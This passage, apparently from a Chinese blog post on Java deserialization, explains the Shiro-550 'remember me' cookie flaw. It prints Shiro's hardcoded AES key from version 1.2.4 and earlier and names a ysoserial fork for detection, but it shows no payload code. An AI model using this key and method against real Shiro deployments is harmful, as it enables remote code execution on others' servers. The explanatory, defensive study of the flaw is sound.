                check(perm);
            }
        };

        System.setSecurityManager(sm);
    }
}


Shiro 反序列化总结

Shiro 是 Apache 一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能。


Java 反序列化漏洞 java反序列化漏洞利用工具_java反序列化终极测试工具_04


Shiro 组件漏洞主要分为两种类型,一种是 java 反序列化造成的远程代码执行漏洞,另一种是身份验证绕过漏洞。我们主要看一下反序列化漏洞。

漏洞成因:

Shiro 框架的 Web 应用,登录成功后的用户信息会加密存储在 Cookie 中,后续可以从 Cookie 中读取用户认证信息,从而达到“记住我”的目的,简要流程如下:


Java 反序列化漏洞 java反序列化漏洞利用工具_序列化_05


Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控同时 Cookie 值是由攻击者构造的恶意 Payload,就可以将流程走通,触发危险的 Java 反序列化。在 Shiro 1.2.4 及之前的版本,Shiro 秘钥是硬编码的一个值kPH+bIxk5D2deZiIxcaaaA== ,这便是 Shiro-550 的漏洞成因。

Shiro 漏洞检测,利用优化的 POC zema1/ysoserial 来检测漏洞:



参考资料

https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles

Java序列化和反序列化机制 [ Mi1k7ea ]

Java反序列化漏洞 [ Mi1k7ea ]

CVE-2020-14644分析与gadget的一些思考 - Kingkk's Blog

https://koalr.me/post/shiro-lou-dong-jian-ce/